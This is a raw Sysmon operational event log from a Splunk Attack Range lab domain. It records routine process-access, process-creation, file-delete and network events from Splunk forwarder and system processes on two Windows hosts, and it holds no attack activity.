15:00:35.104{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016777Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.104{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016776Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.104{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016775Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.104{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016774Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.104{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016773Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.104{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016772Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.104{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7313-613B-0905-00000000F101}2648C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016771Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.104{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7313-613B-0905-00000000F101}2648C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016770Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:35.105{625C326B-7313-613B-0905-00000000F101}2648C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016813Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.917{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=93EEDB2F4B773CCF5C9C25CF11AA6503,SHA256=9C622284E19D515675F9CBA136F57D0838E50D0ED975A8CEBEB361AABA04807F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:36.295{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4088A8CFAB020CFC82E560FBCC56D681,SHA256=42E79FB446DD8CBA8F3332A9C500C80A4919E9402C50EB9C267FC23416CAD9CD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000016812Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.292{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7314-613B-0B05-00000000F101}3492C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016811Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.292{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016810Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.292{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016809Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.292{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016808Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.292{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016807Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.292{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016806Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.292{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016805Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.292{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016804Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.292{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016803Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.292{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016802Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.292{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7314-613B-0B05-00000000F101}3492C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016801Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.292{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7314-613B-0B05-00000000F101}3492C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016800Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.293{625C326B-7314-613B-0B05-00000000F101}3492C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016799Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.182{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=86E1FBB00D52333A0E4BAE7B5D45AE50,SHA256=5B3C66103BFD6550D0FF21700D935AD161FF491B7A80F1163E19889FEAAD8F2C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016798Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.057{625C326B-7313-613B-0A05-00000000F101}31123340C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000016815Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:36.535{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50313-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016814Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:37.354{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=61F5E839312CF7B32B0C33426334080F,SHA256=BC96D7D6095DCAD0DABE0BA957309AF982A867EC1F8A6A899C1B72F4EDF6DED3,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:35.535{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59617-false10.0.1.12-8000- 23542300x800000000000000052435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:37.313{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=61F6B26D8F0EDF55DB094E27B0DF142C,SHA256=356B7303EE273A7F64F19930C986C180EC45F22CBD8037B068F15B5CD4C5D2C2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:38.331{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=13C2A4721592C4790F7CF2BD2F8D9221,SHA256=7326E1D4F3E85AF24C408EC11D447728CE6F3EA886DA34C21772D72C74320B14,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 